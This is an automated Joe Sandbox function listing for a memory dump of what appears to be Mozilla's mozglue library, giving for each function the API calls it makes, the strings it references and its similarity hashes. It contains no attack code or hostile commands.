Function 6C67A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69F770,-00000001,?,6C68E330,?,6C63BDF7), ref: 6C67A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C63BDF7), ref: 6C67A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C63BDF7), ref: 6C67A7E4
LeaveCriticalSection.KERNEL32(6C69F770), ref: 6C67A80A

Strings

accelerator.dll, xrefs: 6C67A7BF

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 1806e5b2c107d82497c48a2c98262820184ff5e9484a63011ce6ec6eafcbcbd4
Instruction ID: 37818571ac5f7c10b0d71f22b48f2ac45afd5245375da5dfb1287c9ade128328
Opcode Fuzzy Hash: 1806e5b2c107d82497c48a2c98262820184ff5e9484a63011ce6ec6eafcbcbd4
Instruction Fuzzy Hash: 75017C706103059F9B048F5AE8C485177B8EB8A354B05846AF9098B712DB71D800CBAA

Function 6C6775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C67748B,?), ref: 6C6775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6775D7
FreeLibrary.KERNEL32(?,6C67748B,?), ref: 6C6775EC

Strings

RtlNtStatusToDosError, xrefs: 6C6775D1
ntdll.dll, xrefs: 6C6775B3

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 47f20e6226df0b5a4b99bcbe8242f12249e815d927133dfa314c19f672262a1f
Instruction ID: b203644c416779bc3d67b761a70a9f85de7a3219151e2cfa1bcd8fcbe08795c0
Opcode Fuzzy Hash: 47f20e6226df0b5a4b99bcbe8242f12249e815d927133dfa314c19f672262a1f
Instruction Fuzzy Hash: 1EE09271600303ABEB11AFA3E8C87117AF8EB46358F114829BA05D9610EBF080528F1E

Function 6C677600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C677592), ref: 6C677608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C677627
FreeLibrary.KERNEL32(?,6C677592), ref: 6C67763C

Strings

ntdll.dll, xrefs: 6C677603
NtUnmapViewOfSection, xrefs: 6C677621

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e44537c60132f59083959da8fafecd55a0cd0abeda0ef79b9e39e1136693b2d0
Instruction ID: a56dadf658ec8057813733d54343da5aed24e51c743c07307fe249ac94bdef4b
Opcode Fuzzy Hash: e44537c60132f59083959da8fafecd55a0cd0abeda0ef79b9e39e1136693b2d0
Instruction Fuzzy Hash: A7E0B6B4600303ABDF11AFA7E8887557ABCE75A399F014519FA05D9710EBB180028F1E

Function 6C67BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C67BE49), ref: 6C67BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C67BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C67BE49), ref: 6C67BF38
RtlReAllocateHeap.NTDLL ref: 6C67BF83
RtlFreeHeap.NTDLL(6C67BE49,00000000), ref: 6C67BFA6

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 1186791e3352bc5e3e6b30921f2eee93ebea1cce5f713ba29537699a87927537
Instruction ID: ba54917f3c3c1efd3026374ada9b9aa6fc7e7b2ac5486d055037894446e052eb
Opcode Fuzzy Hash: 1186791e3352bc5e3e6b30921f2eee93ebea1cce5f713ba29537699a87927537
Instruction Fuzzy Hash: B6519271A002058FE724CF69CD80B9AB3A2FFC5714F294A39D516A7B54D734F9068BA4

Function 6C668E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?,6C68D734), ref: 6C668E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?,6C68D734), ref: 6C668EBF
free.MOZGLUE(?,?,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?), ref: 6C668F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?,6C68D734), ref: 6C668F46
free.MOZGLUE(?,?,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?), ref: 6C668F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C65B58D,?,?,?,?,?,?,?,6C68D734,?,?,?), ref: 6C668F8F

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 349630620c7631d35e8a27e3ce173e22fd3b06c759e56cc07bb091d386218453
Instruction ID: 4787b9eacd65eb7f4eb2028b1711378e05cbba4c062515c5d0b3951de5209760
Opcode Fuzzy Hash: 349630620c7631d35e8a27e3ce173e22fd3b06c759e56cc07bb091d386218453
Instruction Fuzzy Hash: BE51D7B1A012168FEB10CF65D88076E73B2FF4A358F15052AD916ABB50E731F905CB9A

Function 6C6627E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C662620,?,?,?,6C6560AA,6C655FCB,6C6579A3), ref: 6C66284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C662620,?,?,?,6C6560AA,6C655FCB,6C6579A3), ref: 6C66289A
free.MOZGLUE(?,?,?,6C662620,?,?,?,6C6560AA,6C655FCB,6C6579A3), ref: 6C6628F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C662620,?,?,?,6C6560AA,6C655FCB,6C6579A3), ref: 6C662910
free.MOZGLUE(00000001,?,?,6C662620,?,?,?,6C6560AA,6C655FCB,6C6579A3), ref: 6C66293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C662620,?,?,?,6C6560AA,6C655FCB,6C6579A3), ref: 6C66294E

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: afab5fcf1e9cabf1d25cd9f90ddcce2cae31afcaa08523294c1aef9f5915d96f
Instruction ID: 85929f211e995ad0770711ec9fc513cafb7b1734b53f32e34050061795113114
Opcode Fuzzy Hash: afab5fcf1e9cabf1d25cd9f90ddcce2cae31afcaa08523294c1aef9f5915d96f
Instruction Fuzzy Hash: FA41A4B1A002068FEB14CF6AD88876A77F5EF85318F150639D557EBB40E731E904CB96

Function 6C61CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E784), ref: 6C61CFF6
LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C61D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C61D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C61D139

Strings

MOZ_CRASH(), xrefs: 6C61D187

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 89a25fb6e0d474368a68a1e4c66ed0c0a549cc98a076e883504e47e3af33c21e
Instruction ID: a77d010bc9ad67abd45f03a3e03c15d3efc903621fa8ce51715dc86a79ac6bc3
Opcode Fuzzy Hash: 89a25fb6e0d474368a68a1e4c66ed0c0a549cc98a076e883504e47e3af33c21e
Instruction Fuzzy Hash: 6C41BF32B442164FCB158E7E8CD13AA36B4FB49725F140139E918EBB84D6A19C008BCA

Function 6C614DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C614E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C614E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C614EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C614F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C614F1E

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: d8d402070b06b921e3401f2b92c4094380e5a6ec6a361fa343c67ef56deb5f9a
Instruction ID: 0e8227b026de13d26190a0a4c31cda1755c2fb72c2b5761252e8b88fdd99c472
Opcode Fuzzy Hash: d8d402070b06b921e3401f2b92c4094380e5a6ec6a361fa343c67ef56deb5f9a
Instruction Fuzzy Hash: 1941D1716087019FC705CF29C4809ABB7E4BF8A348F108A2DF56697B41DBB0E915CB99

Function 6C67A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69F770), ref: 6C67A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C67A87B

Part of subcall function 6C67A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C67A88F,00000000), ref: 6C67A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C67A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C67A90C
LeaveCriticalSection.KERNEL32(6C69F770), ref: 6C67A97E

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 8c7c9dcd616d0c2131f7b064fa7cbd69d70867fe72b99e1ce54ecfcd267596b2
Instruction ID: c3f45669a1c8aadfe1de43ceac5fa742bbce5ac3ed306053724e45d144444c89
Opcode Fuzzy Hash: 8c7c9dcd616d0c2131f7b064fa7cbd69d70867fe72b99e1ce54ecfcd267596b2
Instruction Fuzzy Hash: 5241B4B0E002059FDB10DFA4D885BDEB775FF05324F108A29E826AB792D731D945CBA9

Function 6C621530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C62159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C6215BC
moz_xmalloc.MOZGLUE(-00000001,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C6215E7
free.MOZGLUE(?,?,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C621606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C621637

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: a7d551ffe0fb66af48b2bae48838ad90340cb52863ac27eb83f8fdfab83986d9
Instruction ID: 6d3eec2803160f02e85b2ef5fab9ef7105039517afe2d3eab1bf5ad0e963296d
Opcode Fuzzy Hash: a7d551ffe0fb66af48b2bae48838ad90340cb52863ac27eb83f8fdfab83986d9
Instruction Fuzzy Hash: 4B310AB29041149BC7148E78D8508AE73E5BB823647240B6DE823EBBD4EB35DD058B99

Function 6C67AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AD9D

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE01
GetLastError.KERNEL32(?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE3D

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 509e64455247f9c752efe43af7e8080d75e8272db334cd80f73d681f99e6828e
Instruction ID: 58838283dbe3ff5b849e546592bc6ac2a04a9a02c5d7cd2a5597f672179a1bdf
Opcode Fuzzy Hash: 509e64455247f9c752efe43af7e8080d75e8272db334cd80f73d681f99e6828e
Instruction Fuzzy Hash: 81314FB1A012159FDB10DF7A8C44AABB7F8EF49714F158829E94AD7700E734D805CBB8

Function 6C675EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C68DCA0,?,?,?,6C64E8B5,00000000), ref: 6C675F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C64E8B5,00000000), ref: 6C675F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C64E8B5,00000000), ref: 6C675F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C64E8B5,00000000), ref: 6C675F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C64E8B5,00000000), ref: 6C675FD6

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 6ab4ba4174a5d2748d3abc5e7aee719fc7d6f86b1d4bec36bd0eb122e3cc2868
Instruction ID: 3383e32ffd2a6e69f6b3517da3ad4f69f9baec60c57e29c472e9a08385b90561
Opcode Fuzzy Hash: 6ab4ba4174a5d2748d3abc5e7aee719fc7d6f86b1d4bec36bd0eb122e3cc2868
Instruction Fuzzy Hash: 0C3108343006018FD720CF2AC8D8A6AB7F5BF89319F648998E5568BBA5C735EC45CF94

Function 6C61B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C61B532
moz_xmalloc.MOZGLUE(?), ref: 6C61B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C61B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C61B57E
free.MOZGLUE(00000000), ref: 6C61B58F

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 1e31930bcbbb6abd3c654ae561189dd802c480d01b856cfa52694dd5ca6974f6
Instruction ID: 649ed40a4f0d95de83057be5eaec5756455de06db630c1ca421b1329c93e1ca3
Opcode Fuzzy Hash: 1e31930bcbbb6abd3c654ae561189dd802c480d01b856cfa52694dd5ca6974f6
Instruction Fuzzy Hash: 582129B1A042059BDB00CF69CC80BAEBBB9FF82305F284129E919DB741F776D911C7A5

Function 6C61B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C61B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C61B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C61B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61B849

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 48cedd834faa89a3a6e771ad500028a6a30ad4a97eeffb416464dfdd89e8d7ab
Instruction ID: fa7978ca7ce4eaf0bd04eb120ddf7062a64a925b8c1cfaa9ce056db7cbe3d085
Opcode Fuzzy Hash: 48cedd834faa89a3a6e771ad500028a6a30ad4a97eeffb416464dfdd89e8d7ab
Instruction Fuzzy Hash: B2216DB0E002099FDF04DFA9C8855FEBBB4EF89714F148129ED06A7700E731A944CBA4

Function 6C676E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C676E78

Part of subcall function 6C676A10: InitializeCriticalSection.KERNEL32(6C69F618), ref: 6C676A68
Part of subcall function 6C676A10: GetCurrentProcess.KERNEL32 ref: 6C676A7D
Part of subcall function 6C676A10: GetCurrentProcess.KERNEL32 ref: 6C676AA1
Part of subcall function 6C676A10: EnterCriticalSection.KERNEL32(6C69F618), ref: 6C676AAE
Part of subcall function 6C676A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C676AE1
Part of subcall function 6C676A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C676B15
Part of subcall function 6C676A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C676B65
Part of subcall function 6C676A10: LeaveCriticalSection.KERNEL32(6C69F618,?,?), ref: 6C676B83

MozFormatCodeAddress.MOZGLUE ref: 6C676EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C676EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C676EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C676EFF

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 2d68807fba177708ac3c40e5ed2625a97ec2c31bfbb2793a0a5fa3e3a9f213d3
Instruction ID: 376ca7c3b2fcf8335f8325c848b6280ebe5323559bbdd488ea1470227621e91b
Opcode Fuzzy Hash: 2d68807fba177708ac3c40e5ed2625a97ec2c31bfbb2793a0a5fa3e3a9f213d3
Instruction Fuzzy Hash: 6A21B0B1A0421A8FDB14CF29D8C4AEE77F5EF84308F044439E80997240EB349A58CFA6

Function 6C650D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C613DEF), ref: 6C650D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C613DEF), ref: 6C650D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C613DEF), ref: 6C650DAF

Strings

<jemalloc>, xrefs: 6C650D92, 6C650DB9
: (malloc) Error in VirtualFree(), xrefs: 6C650D97, 6C650DBE

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
